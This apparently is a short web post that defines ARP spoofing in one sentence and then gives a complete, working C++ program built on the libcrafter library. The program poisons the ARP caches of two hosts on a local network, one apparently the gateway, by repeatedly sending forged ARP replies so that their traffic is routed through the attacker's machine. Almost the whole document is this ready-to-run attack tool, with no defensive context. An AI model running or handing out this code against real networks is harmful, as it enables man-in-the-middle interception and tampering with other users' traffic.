(Fake Address Resolution Protocol) ARP spoofing

What is ARP Spoofing?
ARP spoofing is a technique whereby an attacker sends fake Address Resolution Protocol (ARP) messages onto a Local Area Network

C++ Code:

#include <iostream>
#include <string>
#include <signal.h>
#include <crafter.h>

/* Collapse namespaces */
using namespace std;
using namespace Crafter;

volatile byte spoof = 1;

void ctrl_c(int dummy) {
spoof = 0;
}

int main() {

/* Set the interface */
string iface = "wlan0";

/* Get the IP address associated to the interface */
string MyIP = GetMyIP(iface);
/* Get the MAC Address associated to the interface */
string MyMAC = GetMyMAC(iface);

/* Host A IP address */
string hostA = "192.168.1.4";
/* HOst B IP address */
string hostB = "192.168.1.1";

/* This will send an ARP request for obtain HostA and HostB MAC address */
string macA = GetMAC(hostA,iface);
string macB = GetMAC(hostB,iface);

/* Check if the hosts are alive */
if(macA.size() == 0) {
cout << "[@] Host " << hostA << " down. Aborting" << endl;
return 1;
}
if(macB.size() == 0) {
cout << "[@] Host " << hostB << " down. Aborting" << endl;
return 1;
}

/* Print some info */
cout << "[@] Attacker: " << MyIP << " : " << MyMAC << endl;
cout << "[@] HostA : " << hostA << " : " << macA << endl;
cout << "[@] HostB : " << hostB << " : " << macB << endl;

/* --------- Common data to all headers --------- */

Ethernet ether_header;
ether_header.SetSourceMAC(MyMAC); // <-- Put my MAC as a source

ARP arp_header;
arp_header.SetOperation(ARP::Reply); // <-- Set Operation (ARP Reply)

/* ---------------------------------------------- */

/*
* NOTE: Remember that each packet keeps its own copy of
* each layer pushed. So, you can safely modify later
* the <layer object> that was pushed on the packet.
*/

/* [++++++++++] --- Create packet for host A */
Packet packetA;

/* Put ethernet header information */
ether_header.SetDestinationMAC(macA);

/* Fill ARP header */
arp_header.SetSenderIP(hostB);
arp_header.SetSenderMAC(MyMAC); // <-- Spoof IP address of host B
arp_header.SetTargetIP(hostA);
arp_header.SetTargetMAC(macA);

/* Push both headers */
packetA.PushLayer(ether_header);
packetA.PushLayer(arp_header);
/* Done packet for A ---------- [+++++++++++] */

/* [++++++++++] --- Create packet for host B */
Packet packetB;

/* Put ethernet header information */
ether_header.SetDestinationMAC(macB);

/* Fill ARP header */
arp_header.SetSenderIP(hostA);
arp_header.SetSenderMAC(MyMAC); // <-- Spoof IP address of host A
arp_header.SetTargetIP(hostB);
arp_header.SetTargetMAC(macB);

/* Push both headers */
packetB.PushLayer(ether_header);
packetB.PushLayer(arp_header);
/* Done packet for B ---------- [+++++++++++] */

/* Set the signal handler */
signal(SIGINT,ctrl_c);

/* Loop until ctrl-c is pressed */
while(spoof) {
/* Send both packets */
packetA.Send(iface);
packetB.Send(iface);
/* Wait a few seconds */
sleep(5);
}

cout << "[@] Done! " << endl;

return 0;
}